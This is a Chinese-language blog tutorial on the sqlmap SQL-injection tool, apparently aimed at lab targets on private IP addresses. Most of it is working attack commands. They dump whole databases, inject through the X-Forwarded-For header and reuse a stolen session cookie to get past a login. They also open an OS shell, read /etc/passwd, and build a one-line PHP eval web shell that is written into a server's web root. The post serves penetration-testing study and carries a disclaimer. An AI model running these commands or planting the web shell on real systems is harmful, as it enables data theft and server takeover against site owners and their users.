Sqlmap的使用
AI-摘要
切换
Tianli GPT
AI初始化中...
介绍自己
生成本文简介
推荐相关文章
前往主页
前往tianli博客
本文最后更新于 2024-07-26,文章内容可能已经过时。
sqlmap的使用
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
支持数据库类型:
- PostgreSQL(简称PG)
- Mysql(或MariaDB)
- Microsoft SQL Server
- Sybase
- Oracle
一、工具安装
1、环境:
python2.7.5
建议安装在linux下:
python -V
2、安装:
(1)将sqlmap.zip 上传放在/opt目录下:
(2)解压:
yum install unzip
unzip sqlmap.zip
(3)授权:
cd sqlmap
chmod u+x sqlmap.py
二、使用
1、扫描:
(1) get请求:注意url中最好带上参数,比如id=1
level参数有1-5可以选择,数字越大,测试的越详细
./sqlmap.py -u "url" --level=5
./sqlmap.py -u "url" -a //把用户,表,用户权限,所有数据库全部导出
(2)拖库:
./sqlmap.py -u "url" --current-db //获取数据库名
./sqlmap.py -u "url" -D 数据库名 --tables //获取表名
./sqlmap.py -u "url" -D 数据库名 -T 表名 --columns //获取所有字段名
./sqlmap.py -u "url" -D 数据库名 -T 表名 -C 字段1,字段2 --dump //获取字段中的值
(3)post请求:
- 需要准备post请求文件:
通过burp拦截请求,copy to file.把请求文件保存下来,或者直接选中请求部分,复制也可以
- 拖库
需要注意:使用头注入参数X-Forwarded-For,这个参数需要放在请求头中,X-Forwarded-For: * ,否则无法注入成功
./sqlmap.py -r "文件名" -p 参数名 //指定参数的post请求扫描
//实际使用案例,获取数据库名称,
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --current-db
//根据数据库名称获取表
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" -D posts --tables
以下是postdata.txt 文件内容,注意最后有两个空行
GET /info.php?username=a HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: *
Connection: close
2、状态保持: --cookie
如果请求发送需要前置条件(登录)。可以通过手动登录后,获取已登录的sessionid.在sqlmap中,通过设置cookie方式,绕过登录:
get:
./sqlmap.py -u "url" --cookie=xxxx
post:
./sqlmap.py -r "文件" -p 参数 --cookie=xxx
//实际使用案例
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --cookie=PHPSESSID=k7ht96qm6n6hr34ghlpn4l3666 --current-db
3、getshell:
(1)自动写入木马:–os-shell
建议不使用post请求:
./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --os-shell
(2)读文件: --read-file
./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --file-read "/etc/passwd"
(3)写文件:–file-write 源文件 --file-dest 目标文件
//制作一个一句话木马
echo "<?php eval($_POST['a']);?>" > /tmp/secure21
//写入木马
./sqlmap.py -u "http://192.168.248.128/hz04/phpdemo/posts/articledetail.php?id=2" --file-write "muma.php" --file-dest "/opt/lampp/htdocs/hz04/phpdemo/posts/upload/muma.php"
外部网站:
- 感谢你赐予我前进的力量
赞赏者名单
因为你们的支持让我意识到写文章的价值🙏
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 Windesky
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果